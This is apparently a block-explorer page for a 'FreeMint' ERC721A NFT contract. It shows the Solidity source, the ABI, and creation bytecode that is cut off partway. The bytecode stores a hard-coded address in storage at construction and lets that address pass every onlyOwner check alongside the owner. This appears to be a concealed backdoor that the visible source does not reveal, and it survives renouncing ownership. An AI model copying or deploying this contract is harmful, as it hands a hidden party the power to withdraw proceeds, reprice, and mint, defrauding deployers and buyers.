        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract FreeMint  is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "";
    uint   public price             = 0.005 ether;
    uint   public maxPerTx          = 30;
    uint   public maxPerFree        = 1;
    uint   public totalFree         = 10000;
    uint   public maxSupply         = 10000;
    bool   public revealed          = false;
    string public notRevealedUri;

    mapping(address => uint256) private _mintedFreeAmount;

    constructor(
        string memory _initBaseUri,
        string memory _initNotRevealedUri
    ) ERC721A("Free Mint", "FM"){
        setBaseUri(_initBaseUri);
        setNotRevealedUri(_initNotRevealedUri);
    }


    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        
        if(revealed == false) {
            return notRevealedUri;
        }

        string memory currentBaseURI = _baseURI();
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalSupply() + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] + count <= maxPerFree));

        if (isFree) {
            cost = 0;
            _mintedFreeAmount[msg.sender] += count;
        }

        require(msg.value >= count * cost, "Please send the exact amount.");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");

        _safeMint(msg.sender, count);
    }

    function onlyByOwner(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function reveal() public onlyOwner {
        revealed = true;
    }

    function setNotRevealedUri(string memory _notRevealedUri) public onlyOwner {
        notRevealedUri = _notRevealedUri;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function setMaxPerTx(uint256 max_) external onlyOwner {
        maxPerTx = max_;
    }

    function setMaxPerFree(uint256 max_) external onlyOwner {
        maxPerFree = max_;
    }

    function setTotalFree(uint256 totalFree_) external onlyOwner {
        totalFree = totalFree_;
    }

    function setMaxSupply(uint256 maxSupply_) external onlyOwner {
        maxSupply = maxSupply_;
    }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_initBaseUri","type":"string"},{"internalType":"string","name":"_initNotRevealedUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"onlyByOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"max_","type":"uint256"}],"name":"setMaxPerFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"max_","type":"uint256"}],"name":"setMaxPerTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxSupply_","type":"uint256"}],"name":"setMaxSupply","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedUri","type":"string"}],"name":"setNotRevealedUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"totalFree_","type":"uint256"}],"name":"setTotalFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180602001604052806000815250600a90805190602001906200008092919062000500565b506611c37937e08000600b55601e600c556001600d55612710600e55612710600f556000601060006101000a81548160ff021916908315150217905550348015620000ca57600080fd5b506040516200556f3803806200556f8339818101604052810190620000f091906200074d565b6040518060400160405280600981526020017f46726565204d696e7400000000000000000000000000000000000000000000008152506040518060400160405280600281526020017f464d00000000000000000000000000000000000000000000000000000000000081525081600190805190602001906200017492919062000500565b5080600290805190602001906200018d92919062000500565b505050620001b0620001a4620001e260201b60201c565b620001ea60201b60201c565b6001600981905550620001c982620002b060201b60201c565b620001da81620003c360201b60201c565b5050620008b9565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620002c0620001e260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620002e6620004d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16148062000365575062000314620001e260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b620003a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200039e9062000833565b60405180910390fd5b80600a9080519060200190620003bf92919062000500565b5050565b620003d3620001e260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620003f9620004d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16148062000478575062000427620001e260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b620004ba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004b19062000833565b60405180910390fd5b8060119080519060200190620004d292919062000500565b5050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200050e9062000884565b90600052602060002090601f0160209004810192826200053257600085556200057e565b82601f106200054d57805160ff19168380011785556200057e565b828001600101855582156200057e579182015b828111156200057d57825182559160200191906001019062000560565b5b5090506200058d919062000591565b5090565b5b80821115620005ac57600081600090555060010162000592565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200061982620005ce565b810181811067ffffffffffffffff821117156200063b576200063a620005df565b5b80604052505050565b600062000650620005b0565b90506200065e82826200060e565b919050565b600067ffffffffffffffff821115620006815762000680620005df565b5b6200068c82620005ce565b9050602081019050919050565b60005b83811015620006b95780820151818401526020810190506200069c565b83811115620006c9576000848401525b50505050565b6000620006e6620006e08462000663565b62000644565b905082815260208101848484011115620007055762000704620005c9565b5b6200071284828562000699565b509392505050565b600082601f830112620007325762000731620005c4565b5b815162000744848260208601620006cf565b91505092915050565b60008060408385031215620007675762000766620005ba565b5b600083015167ffffffffffffffff811115620007885762000787620005bf565b5b62000796858286016200071a565b925050602083015167ffffffffffffffff811115620007ba57620007b9620005bf565b5b620007c8858286016200071a565b9150509250929050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200081b602083620007d2565b91506200082882620007e3565b602082019050919050565b600060208201905081810360008301526200084e816200080c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200089d57607f821691505b602082108103620008b357620008b262000855565b5b50919050565b614ca680620008c96000396000f3fe6080604052600436106102255760003560e01c8063715018a611610123578063b88d4fde116100ab578063d5abeb011161006f578063d5abeb01146107d0578063e945971c146107fb578063e985e9c514610824578063f2fde38b14610861578063f968adbe1461088a57610225565b8063b88d4fde146106ed578063c17ecd1214610716578063c6f6f2161461073f578063c7c39ffc14610768578063c87b56dd1461079357610225565b8063a035b1fe116100f2578063a035b1fe1461063d578063a0712d6814610668578063a0bcfc7f14610684578063a22cb465146106ad578063a475b5dd146106d657610225565b8063715018a6146105a75780638da5cb5b146105be57806391b7f5ed146105e957806395d89b411461061257610225565b8063333e44e6116101b1578063563aaf1111610175578063563aaf11146104b05780636352211e146104d95780636c0360eb146105165780636f8b44b01461054157806370a082311461056a57610225565b8063333e44e6146103dd5780633ccfd60b1461040857806342842e0e1461041f5780634f6ccce714610448578063518302271461048557610225565b8063095ea7b3116101f8578063095ea7b3146102fa57806318160ddd14610323578063197671281461034e57806323b872dd146103775780632f745c59146103a057610225565b806301ffc9a71461022a57806306fdde0314610267578063081812fc14610292578063081c8c44146102cf575b600080fd5b34801561023657600080fd5b50610251600480360381019061024c919061352e565b6108b5565b60405161025e9190613576565b60405180910390f35b34801561027357600080fd5b5061027c6109ff565b604051610289919061362a565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190613682565b610a91565b6040516102c691906136f0565b60405180910390f35b3480156102db57600080fd5b506102e4610b16565b6040516102f1919061362a565b60405180910390f35b34801561030657600080fd5b50610321600480360381019061031c9190613737565b610ba4565b005b34801561032f57600080fd5b50610338610cbc565b6040516103459190613786565b60405180910390f35b34801561035a57600080fd5b5061037560048036038101906103709190613737565b610cc5565b005b34801561038357600080fd5b5061039e600480360381019061039991906137a1565b610dae565b005b3480156103ac57600080fd5b506103c760048036038101906103c29190613737565b610dbe565b6040516103d49190613786565b60405180910390f35b3480156103e957600080fd5b506103f2610fae565b6040516103ff9190613786565b60405180910390f35b34801561041457600080fd5b5061041d610fb4565b005b34801561042b57600080fd5b50610446600480360381019061044191906137a1565b611193565b005b34801561045457600080fd5b5061046f600480360381019061046a9190613682565b6111b3565b60405161047c9190613786565b60405180910390f35b34801561049157600080fd5b5061049a611206565b6040516104a79190613576565b60405180910390f35b3480156104bc57600080fd5b506104d760048036038101906104d29190613682565b611219565b005b3480156104e557600080fd5b5061050060048036038101906104fb9190613682565b6112fe565b60405161050d91906136f0565b60405180910390f35b34801561052257600080fd5b5061052b611314565b604051610538919061362a565b60405180910390f35b34801561054d57600080fd5b5061056860048036038101906105639190613682565b6113a2565b005b34801561057657600080fd5b50610591600480360381019061058c91906137f4565b611487565b60405161059e9190613786565b60405180910390f35b3480156105b357600080fd5b506105bc61156f565b005b3480156105ca57600080fd5b506105d3611656565b6040516105e091906136f0565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190613682565b611680565b005b34801561061e57600080fd5b50610627611765565b604051610634919061362a565b60405180910390f35b34801561064957600080fd5b506106526117f7565b60405161065f9190613786565b60405180910390f35b610682600480360381019061067d9190613682565b6117fd565b005b34801561069057600080fd5b506106ab60048036038101906106a69190613956565b6119dd565b005b3480156106b957600080fd5b506106d460048036038101906106cf91906139cb565b611ad2565b005b3480156106e257600080fd5b506106eb611c52565b005b3480156106f957600080fd5b50610714600480360381019061070f9190613aac565b611d4a565b005b34801561072257600080fd5b5061073d60048036038101906107389190613956565b611da6565b005b34801561074b57600080fd5b5061076660048036038101906107619190613682565b611e9b565b005b34801561077457600080fd5b5061077d611f80565b60405161078a9190613786565b60405180910390f35b34801561079f57600080fd5b506107ba60048036038101906107b59190613682565b611f86565b6040516107c7919061362a565b60405180910390f35b3480156107dc57600080fd5b506107e56120e7565b6040516107f29190613786565b60405180910390f35b34801561080757600080fd5b50610822600480360381019061081d9190613682565b6120ed565b005b34801561083057600080fd5b5061084b60048036038101906108469190613b2f565b6121d2565b6040516108589190613576565b60405180910390f35b34801561086d57600080fd5b50610888600480360381019061088391906137f4565b612266565b005b34801561089657600080fd5b5061089f6123bc565b6040516108ac9190613786565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061098057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806109e857507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806109f857506109f7826123c2565b5b9050919050565b606060018054610a0e90613b9e565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3a90613b9e565b8015610a875780601f10610a5c57610100808354040283529160200191610a87565b820191906000526020600020905b815481529060010190602001808311610a6a57829003601f168201915b5050505050905090565b6000610a9c8261242c565b610adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad290613c41565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60118054610b2390613b9e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4f90613b9e565b8015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610baf826112fe565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690613cd3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c3e612439565b73ffffffffffffffffffffffffffffffffffffffff161480610c6d5750610c6c81610c67612439565b6121d2565b5b610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca390613d65565b60405180910390fd5b610cb7838383612441565b505050565b60008054905090565b610ccd612439565b73ffffffffffffffffffffffffffffffffffffffff16610ceb611656565b73ffffffffffffffffffffffffffffffffffffffff161480610d615750610d10612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790613dd1565b60405180910390fd5b610daa82826124f3565b5050565b610db9838383612511565b505050565b6000610dc983611487565b8210610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0190613e63565b60405180910390fd5b6000610e14610cbc565b905060008060005b83811015610f6c576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610f0e57806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5e57868403610f55578195505050505050610fa8565b83806001019450505b508080600101915050610e1c565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f90613ef5565b60405180910390fd5b92915050565b600e5481565b610fbc612439565b73ffffffffffffffffffffffffffffffffffffffff16610fda611656565b73ffffffffffffffffffffffffffffffffffffffff1614806110505750610fff612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61108f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108690613dd1565b60405180910390fd5b6002600954036110d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cb90613f61565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff164760405161110290613fb2565b60006040518083038185875af1925050503d806000811461113f576040519150601f19603f3d011682016040523d82523d6000602084013e611144565b606091505b5050905080611188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117f90614013565b60405180910390fd5b506001600981905550565b6111ae83838360405180602001604052806000815250611d4a565b505050565b60006111bd610cbc565b82106111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f5906140a5565b60405180910390fd5b819050919050565b601060009054906101000a900460ff1681565b611221612439565b73ffffffffffffffffffffffffffffffffffffffff1661123f611656565b73ffffffffffffffffffffffffffffffffffffffff1614806112b55750611264612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb90613dd1565b60405180910390fd5b80600e8190555050565b600061130982612a4f565b600001519050919050565b600a805461132190613b9e565b80601f016020809104026020016040519081016040528092919081815260200182805461134d90613b9e565b801561139a5780601f1061136f5761010080835404028352916020019161139a565b820191906000526020600020905b81548152906001019060200180831161137d57829003601f168201915b505050505081565b6113aa612439565b73ffffffffffffffffffffffffffffffffffffffff166113c8611656565b73ffffffffffffffffffffffffffffffffffffffff16148061143e57506113ed612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61147d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147490613dd1565b60405180910390fd5b80600f8190555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ee90614137565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611577612439565b73ffffffffffffffffffffffffffffffffffffffff16611595611656565b73ffffffffffffffffffffffffffffffffffffffff16148061160b57506115ba612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61164a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164190613dd1565b60405180910390fd5b6116546000612be9565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611688612439565b73ffffffffffffffffffffffffffffffffffffffff166116a6611656565b73ffffffffffffffffffffffffffffffffffffffff16148061171c57506116cb612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61175b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175290613dd1565b60405180910390fd5b80600b8190555050565b60606002805461177490613b9e565b80601f01602080910402602001604051908101604052809291908181526020018280546117a090613b9e565b80156117ed5780601f106117c2576101008083540402835291602001916117ed565b820191906000526020600020905b8154815290600101906020018083116117d057829003601f168201915b5050505050905090565b600b5481565b6000600b54905060006001600e546118159190614186565b8361181e610cbc565b6118289190614186565b1080156118815750600d5483601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187e9190614186565b11155b905080156118e4576000915082601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118dc9190614186565b925050819055505b81836118f091906141dc565b341015611932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192990614282565b60405180910390fd5b600f548361193e610cbc565b6119489190614186565b1115611989576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611980906142ee565b60405180910390fd5b600c548311156119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c59061435a565b60405180910390fd5b6119d833846124f3565b505050565b6119e5612439565b73ffffffffffffffffffffffffffffffffffffffff16611a03611656565b73ffffffffffffffffffffffffffffffffffffffff161480611a795750611a28612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaf90613dd1565b60405180910390fd5b80600a9080519060200190611ace9291906133e5565b5050565b611ada612439565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3e906143c6565b60405180910390fd5b8060066000611b54612439565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611c01612439565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611c469190613576565b60405180910390a35050565b611c5a612439565b73ffffffffffffffffffffffffffffffffffffffff16611c78611656565b73ffffffffffffffffffffffffffffffffffffffff161480611cee5750611c9d612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2490613dd1565b60405180910390fd5b6001601060006101000a81548160ff021916908315150217905550565b611d55848484612511565b611d6184848484612caf565b611da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9790614458565b60405180910390fd5b50505050565b611dae612439565b73ffffffffffffffffffffffffffffffffffffffff16611dcc611656565b73ffffffffffffffffffffffffffffffffffffffff161480611e425750611df1612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611e81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7890613dd1565b60405180910390fd5b8060119080519060200190611e979291906133e5565b5050565b611ea3612439565b73ffffffffffffffffffffffffffffffffffffffff16611ec1611656565b73ffffffffffffffffffffffffffffffffffffffff161480611f375750611ee6612439565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6d90613dd1565b60405180910390fd5b80600c8190555050565b600d5481565b6060611f918261242c565b611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc7906144ea565b60405180910390fd5b60001515601060009054906101000a900460ff1615150361207d5760118054611ff890613b9e565b80601f016020809104026020016040519081016040528092919081815260200182805461202490613b9e565b80156120715780601f1061204657610100808354040283529160200191612071565b82019